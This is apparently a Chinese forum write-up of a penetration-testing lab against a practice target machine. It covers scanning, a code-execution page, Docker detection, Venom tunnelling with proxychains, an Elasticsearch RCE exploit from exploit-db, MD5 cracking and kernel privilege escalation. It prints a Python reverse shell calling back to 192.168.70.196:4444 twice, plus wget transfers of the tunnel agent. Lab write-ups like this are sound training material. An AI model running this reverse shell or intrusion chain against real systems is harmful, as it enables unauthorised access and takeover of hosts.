首先对靶机进行ip发现与端口及应用版本信息扫描:
dirsearch和Windows平台上的御剑,本质上是一样的
对隐藏路径进行爬取和发现:
打开后发现是一个代码执行页面 如果过滤不严格可能可以通过该功能直接执行代码操作
导入一段shell代码去反弹链接
去网上搜索python 反弹shell就可以获得shell代码
《https://xz.aliyun.com/t/7721#:~:text=%E6%88%91%E4%BB%AC%E5%85%88%E6%9D%A5%E7%9C%8B%E7%9C%8B%E7%BD%91%E4%B8%8A%E6%B5%81%E4%BC%A0%E5%BE%97%E6%9C%80%E5%B9%BF%E7%9A%84python%E5%8F%8D%E5%BC%B9shell%E7%9A%84%E8%84%9A%E6%9C%AC%EF%BC%9A%20import%20socket%2Csubprocess%2Cos%20s%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29,s.connect%28%28%22127.0.0.1%22%2C23333%29%29%20os.dup2%28s.fileno%28%29%2C0%29%20os.dup2%28s.fileno%28%29%2C1%29%20os.dup2%28s.fileno%28%29%2C2%29%20p%3Dsubprocess.call%28%5B%22%2Fbin%2Fbash%22%2C%22-i%22%5D%29%3B》
如果kali里没安装bash,像上面那篇文章里面那样call(["/bin/bash","-i"]);就会失败,由于sh是最基础的,所以call /bin/sh总没错
在反弹的时候遇到了一些小问题,总结一下就是退出root权限,反弹代码千万记得写分号
三、内网穿透
dockerfile通常会作为dockers容器部署开发环境的时候会使用的一个模板开发文件。这个模板文件中包含如何去引入docker映像,如何对这个映像进行配置和安装软件包,修改服务项 等都会在这个模板文件中存在。利用这个文件可以在生产的服务器上大量的批量的部署docker容器。
查看该文件,可以看到标准的docker模板的操作指令
使用命令:ls /.dockerenv 或者 cat /proc/1/cgroup(1表示初始化文件) 如果有结果那说明是一个docker系统而不是安装在服务器上的系统
如何检测是否是docker系统?
通过查看是否存在dockerenv这个文件,如果存在则大概率就是一个docker容器系统。
查看/proc/1/cgroup文件:(1代表系统的初始化进程id 当初始化进程id的cgroup文件中包含着明确的docker信息则百分百是个docker容器) 随后想办法从隔离的docker容器中突破出来找到宿主机,拿到root权限
可以将docker容器所处的网段视为当前的内网网段 可以对内网网段进行主机发现,看看该网段中是否还存在其他主机
16个网段,存在65535个ip
主机发现:ping -c 对内网中的每个ip都ping一遍 或者通过脚本循环ping:for i in $(seq 1 10); do ping -c 1 ip.$i;done
扫出来的172.17.0.1和172.17.0.1位于内网网段,利用kali上的工具去探测内网网段默认情况下道路不通,此时要使用内网穿透技术。
使用内网穿透技术,将内网和kali的网络路由打通 常用的工具:venom
利用venom可以在内网和kali之间建立一个隧道,通过这个隧道生成一个代理 让其他工具可以基于这个代理对内网进行扫描
首先将这个隧道的客户端程序传输拷贝到目标系统上,再与kali上的服务端程序建立隧道
在Kali主机Venom目录启动Python3 Http Server 再回到目标容器系统,通过wget去访问kali主机上的http服务
venom报错:zsh: 没有那个文件或目录: /home/chey/桌面/Venom 排查后发现是因为文件名有空格 将空格删掉之后就能正常运行了
运行服务端,本地监听9999端口等待目标容器系统建立监听:
来到客户端计算机,获取到隧道工具的客户端程序(就是a程序)。在kali系统上启动http程序,在目标靶机上运行wget,将kali上的a程序下载过去。
如果wget失败就重启一遍服务(应该在kali装一个nginx之类的server端 开http 然后配置文件里会有一个类似root_dir的配置 还是web_dir 类似的 配好了重新起一下服务 不出意外的话应该不会出现这种问题 )
靶机服务器上部署venom:
成功连上(由于在Linux中给agent_linux_x64改名为a了 所以这里使用的是a)
goto到节点:
socks启动监听端口1080
为了让kali上的所有工具都可以挂代理去访问内网的网段,就必须要启动proxychain
修改代理类型 sudo vi /etc/proxychains4.conf
此时可以对内网进行扫描了,对刚刚扫描出来的存活的ip进行扫描:
proxychains nmap -Pn -sT 172.17.0.1
进行服务版本的发现
对172.17.0.2进行端口和版本信息扫描
Elasticsearch开放端口:9200
有两个远程代码执行漏洞的payload 下载回来看看
cp /usr/share/exploitdb/exploits/linux/remote/36337.py . 将改脚本拷贝到当前目录
使用python2来执行该脚本
发现当前有一个password文件,文件中有账密信息 是md5加密的
md5在线查询平台:https://cmd5.com/
使用账密进行ssh登录
尝试提权:sudo su
本地提权:最主要的方法:通过内核漏洞提权
uname -a 查看内核版本信息
searchsploit
该payload是c语言写的源码,需要通过gcc编译之后才能执行,随后才能成功提权到root权限
由于靶机上没有gcc软件包,因此在kali上编译完后传到靶机上执行该提权payload,该payload源码中有一段命令:使用gcc编译ofs-lib.c 防止payload在靶机上运行失败,在kali上编译完后修改该代码,改为直接执行编译后的程序
把涉及到要编译库文件的代码都删除掉
删除上面红圈内的代码后对修改后的exp进行编译,输出文件名为exp
编译过程中的报错并不影响输出结果
要执行该exp文件需要配合已经编译好的二进制的库文件一起执行
二进制的库文件名叫ofs-lib.so 尝试在kali中直接定位该文件
将这两个文件一起拷贝到目标宿主系统上
报这个错就需要在kali中exp所在路径下重启http.server服务
接下来要执行该exp,为了保证exp的执行成功,将这两个文件拷贝到目标靶机的tmp目录下
首先给exp赋予可执行权限
随后直接执行exp 成功提权
import
socket,subprocess,os;
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((
"192.168.70.196"
,
4444
));
os.dup2(s.fileno(),
0
);
os.dup2(s.fileno(),
1
);
os.dup2(s.fileno(),
2
);
p
=
subprocess.call([
"/bin/sh"
,
"-i"
]);
import
socket,subprocess,os;
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((
"192.168.70.196"
,
4444
));
os.dup2(s.fileno(),
0
);
os.dup2(s.fileno(),
1
);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2023-5-3 17:34
被大河向东流哇编辑
,原因: